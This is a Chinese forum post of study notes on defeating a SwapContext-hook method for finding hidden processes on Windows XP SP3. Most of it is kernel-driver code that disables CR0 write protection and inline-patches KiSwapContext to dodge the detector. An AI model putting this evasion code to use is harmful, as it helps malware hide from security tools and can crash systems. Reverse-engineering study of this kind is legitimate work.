这次的胡乱探究原因在于看到了一个08年的帖子:
标 题:HOOK SwapContext 枚举隐藏进程(学习笔记4)
作 者:bzhkl
时 间:2008-12-11 12:01
链 接:http://bbs.pediy.com/showthread.php?t=78464
都是很老的东西了,可惜很菜才开始关注
这篇帖子讲了HOOK SwapContext 枚举隐藏进程的方法
下面是我虚拟机的WIN XP SP3 调试的代码:
/*********************************************************************
nt!KiSwapContext:
8054696c 83ec10 sub esp,10h
8054696f 895c240c mov dword ptr [esp+0Ch],ebx
80546973 89742408 mov dword ptr [esp+8],esi
80546977 897c2404 mov dword ptr [esp+4],edi
8054697b 892c24 mov dword ptr [esp],ebp
8054697e 648b1d1c000000 mov ebx,dword ptr fs:[1Ch]
80546985 8bf1 mov esi,ecx //自己修改处
80546987 8bbb24010000 mov edi,dword ptr [ebx+124h]
8054698d 89b324010000 mov dword ptr [ebx+124h],esi
80546993 8a4f58 mov cl,byte ptr [edi+58h]
80546996 e8f5000000 call nt!SwapContext (80546a90) //作者修改处
8054699b 8b2c24 mov ebp,dword ptr [esp];
8054699e 8b7c2404 mov edi,dword ptr [esp+4]
805469a2 8b742408 mov esi,dword ptr [esp+8]
805469a6 8b5c240c mov ebx,dword ptr [esp+0Ch]
805469aa 83c410 add esp,10h
805469ad c3 ret
805469ae 8bff mov edi,edi
/**********************************************************************/
作者就是在 0x80546996 地址处修改的CALL XXXXX 的 XXXXX 使之先调用自己的FAKE函数,在Fake函数里得到换进换出的线程信息,进而得到进程信息。
所以想要试试能不能绕过这种方法,顺便可以增进inline hook以及堆栈平衡的理解
于是,第一次尝试: 作者是通过4号线程(本机)的KernelStack参数得到的SwapContext 的返回地址进而修改,于是打算直接绕过这里的CALL,由于测试中修改5个字节的JMP老是不对,后面指令碎屑填充nop会被认为成这样:jmp 9090:XXXXXXXX,基础有限不知为啥??于是改为了绝对跳转,在这修改
80546985 8bf1 mov esi,ecx
Fake函数:
__declspec (naked) VOID Fake_Function()
{
_asm
{
mov esi,ecx //2 Byte
mov edi,dword ptr [ebx+124h] //6 Byte
mov dword ptr [ebx+124h],esi //6 Byte
mov cl,byte ptr [edi+58h] //3 Byte
}
_asm
{
_emit 0x90 //CALL SwapContext
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 //JMP BACK
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
}
}
又想到如果有人在SawpContext开头做了HOOK,不就不行了么,于是又绕过了SawpContext的开头,流程:
KiSwapContext--(JMP)---Fake_Function---(CALL)--Fake_SwapContext----(JMP TO)----SwapContext+14处,继续执行---(函数返回)---Fake_Function---(JMP)---KiSwapContext_declspec (naked) VOID Fake_SwapContext()
{
_asm//14 BYTE
{
or cl,cl
mov byte ptr es:[esi+2Dh],2
pushfd
lea ecx,[ebx+540h]
}
_asm
{
_emit 0x90 //jmp Fake_SwapContext----SwapContext+0x14
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
}
}
结果,居然不行。。。
照样可以得到进程信息,当时就郁闷了,结果用WINDBG查看,发现 自己的 CALL SwapContext 被 替换成了他的,也就是说 他得到的 KernelStack 是我的CALL Fake_SwapContext的返回地址。。。。KernelStack被修改了。。。。
基础太烂,都不知道KernelStack这个内核栈调用的开始是干嘛的,于是又在 CALL Fake_SwapContext 前面加了一个CALL (一个空函数) 不行。。。。改为 在后面加一个CALL 还是不行。。。检测程序都能正确定位CALL SwapContext 地址然后替换。。。。
查看SwapContext的具体实现发现,有这么一处:
80546ae0 fa cli
80546ae1 896728 mov dword ptr [edi+28h],esp
这里将栈指针存储到了线程的KernelStack,怪不得老能被他正确定位。。
于是,第二次尝试 在原有第一次基础上,在SwapContext函数的
80546ada 8a4e2c mov cl,byte ptr [esi+2Ch] //这里跳走
80546add 884b50 mov byte ptr [ebx+50h],cl
80546ae0 fa cli
80546ae1 896728 mov dword ptr [edi+28h],esp
80546ae4 8b4618 mov eax,dword ptr [esi+18h] //跳回这里
80546ae7 8b4e1c mov ecx,dword ptr [esi+1Ch]
跳转到自己的函数,修改esp的值,当时想就只是修改了线程的KernelStack的值,之后又恢复了esp的值,继续执行SwapContext后边的指令( mov eax,dword ptr [esi+18h] //跳回这里),应该可以吧...结果蓝的不成样子,完全不知道什么错误
还发现
u KiSwapContext
得到的结果完全不同于原始的,第一条指令就不同。。我就纳闷了,KiSwapContext函数怎么会被改掉????
于是,第三次尝试还是第一次这个流程
流程:KiSwapContext--(JMP)---Fake_Function---(CALL)--Fake_SwapContext----(JMP TO)----SwapContext+14处,继续执行---(函数返回)---Fake_Function---(JMP)---KiSwapContext
但是会在Fake_Function开始即判断接下来自己的 CALL Fake_SwapContext有没有被修改,如果没有,继续走这个流程,如果被修改了,则跳回
80546996 e8f5000000 call nt!SwapContext (80546a90)
继续执行,不走这个流程了,心想这样应该可以了吧。。。。经过测试成功!修改如下:
#include <ntddk.h>
#define LOCKEDCODE code_seg()
ULONG RealSwapContextOffset;
ULONG FixAddr;//函数KiSwapContext修改处的地址
ULONG SwapContextAddr;
ULONG NextAddr;//KiSwapContext CALL 处的下一条指令地址
ULONG GoBackAddr;
ULONG CallAddr;//CALL Fake_Swap处的地址
extern KIRQL Irql;
extern ULONG g_uCr0;
ULONG NewCallOffset;//CALL新的偏移
PETHREAD Thread;
VOID Fake_SwapContext();
VOID Fake_Stack();
BYTE Call_To_SwapContext[5]={0xE8,0,0,0,0};
BYTE Jmp_To_KiSwapContext[7] = {0xEA, 0, 0, 0, 0, 0x08, 0x00 };
BYTE Jmp_To_SwapContext[7] = {0xEA, 0, 0, 0, 0, 0x08, 0x00 };
BYTE JNZ_JMP[6]={0x0f,0x85, 0, 0, 0, 0};BYTE EditCode[8]={0xEA,0,0,0,0,0x08,0x00,0x90};
BYTE EditCode1[1]={0x90};
NTKERNELAPI
NTSTATUS
PsLookupThreadByThreadId (
IN PVOID UniqueThreadId,
OUT PETHREAD *Thread
);
ULONG GetRealSwapContextOffset()
{
ULONG status;
ULONG Off; status=PsLookupThreadByThreadId((PVOID)8, &(PETHREAD)Thread);//win xp sp3
DbgPrint("Thread地址:%x\n",Thread);
if(NT_SUCCESS(status))
{
if(MmIsAddressValid(Thread))
{
NextAddr = *(PULONG)((ULONG)Thread+0x028 );
}
if(MmIsAddressValid(NextAddr+8))
{
_asm
{
push eax
mov eax,NextAddr
add eax,8
mov eax,[eax]
mov NextAddr,eax;
pop eax
}
DbgPrint("NextAddr:%x\n",NextAddr);
}
}
else
{
return 0;
}
_asm
{
mov eax,NextAddr
sub eax,5
mov FixAddr,eax
mov edx,[eax+1]
push edx
pop Off
}
DbgPrint("FixAddr:%x\n",FixAddr);
DbgPrint("偏移:%x\n",Off);
SwapContextAddr=Off+NextAddr;
DbgPrint("SwapContext地址:%x\n",SwapContextAddr);
return Off;
}
__declspec (naked) VOID Fake_Function()
{
_asm
{
mov esi,ecx //2 BYTE
mov edi,dword ptr [ebx+124h] //6 BYTE
mov dword ptr [ebx+124h],esi //6 BYTE
mov cl,byte ptr [edi+58h] //3 BYTE
}//17 BYTE 对抗内核栈Patch
_asm
{
push ebx //1 BYTE
mov ebx,Fake_Function //5 BYTE
add ebx,55 //3 BYTE
mov ebx,[ebx] //2 BYTE
mov CallAddr,ebx //6 BYTE
pop ebx //1 BYTE
}//38
_asm
{
push eax //1 BYTE
mov eax,CallAddr //5 BYTE
cmp eax,NewCallOffset //6 BYTE
pop eax //1 BYTE
}//48
_asm
{
_emit 0x90 // 这个填充 jnz //跳转到?KiSwapContext
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 //绝对地址
_emit 0x90
}//54
_asm
{
_emit 0x90 // 这个填充CALL e8 xxxxxxxx
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 这个填充 jmp //跳转到 KiSwapContext
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 //绝对地址
_emit 0x90
_emit 0x90
}
}
VOID StartHookKiSwapContext()
{
ULONG uAttr;
ULONG uTemp,uTemp1;
ULONG NewCallOffset1;
RealSwapContextOffset=GetRealSwapContextOffset();
uTemp=(ULONG*)((BYTE*)Fake_Function+54);
NewCallOffset=(ULONG)Fake_SwapContext-uTemp-5;//Fake_Function----Fake_SwapContext
NewCallOffset1=(ULONG*)((BYTE*)SwapContextAddr+14);
DbgPrint("uTemp:%x\n",uTemp);
DbgPrint("NewCallOffset1:%x\n",NewCallOffset1);
DbgPrint("NewCallOffset:%x\n",NewCallOffset);
_asm
{
push eax;
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh;
mov cr0, eax;
pop eax;
cli
}
g_uCr0 = uAttr;
//提升IRQL中断级
//Irql=KeRaiseIrqlToDpcLevel();
*(ULONG*)(EditCode+1)=(ULONG*)Fake_Function;// KiSwapContext----Fake_Function
*((ULONG*)(Call_To_SwapContext + 1)) =NewCallOffset;//填充CALL指令
*((ULONG*)(Jmp_To_KiSwapContext + 1)) = (ULONG)((BYTE*)FixAddr+5);//填充JMP
*((ULONG*)(Jmp_To_SwapContext + 1)) = NewCallOffset1;
CallAddr=*(ULONG*)((BYTE*)Fake_Function+55); //CALL Fake_SwapContext *(PULONG)CallAddr==(PULONG)Fake_SwapContext
*((ULONG*)(JNZ_JMP + 2)) = (ULONG)((BYTE*)FixAddr-1)-(ULONG)(((BYTE*)Fake_Function+48))-5;
RtlCopyMemory((BYTE*)Fake_Function+ 48,JNZ_JMP,6);
RtlCopyMemory((BYTE*)Fake_Function+ 54,Call_To_SwapContext,5); //Fake_Function----Fake_SwapContext
RtlCopyMemory((BYTE*)Fake_SwapContext+14,Jmp_To_SwapContext,7);//Fake_SwapContext----SwapContext+0x14
RtlCopyMemory((BYTE*)Fake_Function+ 59,Jmp_To_KiSwapContext,7);//Fake_Function----KiSwapContext
RtlCopyMemory((BYTE*)FixAddr-17,EditCode,8);//KiSwapContext----Fake_Function
//_asm int 3
//KeLowerIrql(Irql);
_asm
{
sti
push eax;
mov eax, g_uCr0;
mov cr0, eax;
pop eax;
}
}
_declspec (naked) VOID Fake_SwapContext()
{
_asm//14 BYTE
{
or cl,cl
mov byte ptr es:[esi+2Dh],2
pushfd
lea ecx,[ebx+540h]
}
_asm
{
_emit 0x90 // 这个填充 jmp Fake_SwapContext----SwapContext+0x14
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
}
}
调用StartHookKiSwapContext即可,如图:
[课程]Android-CTF解题方法汇总!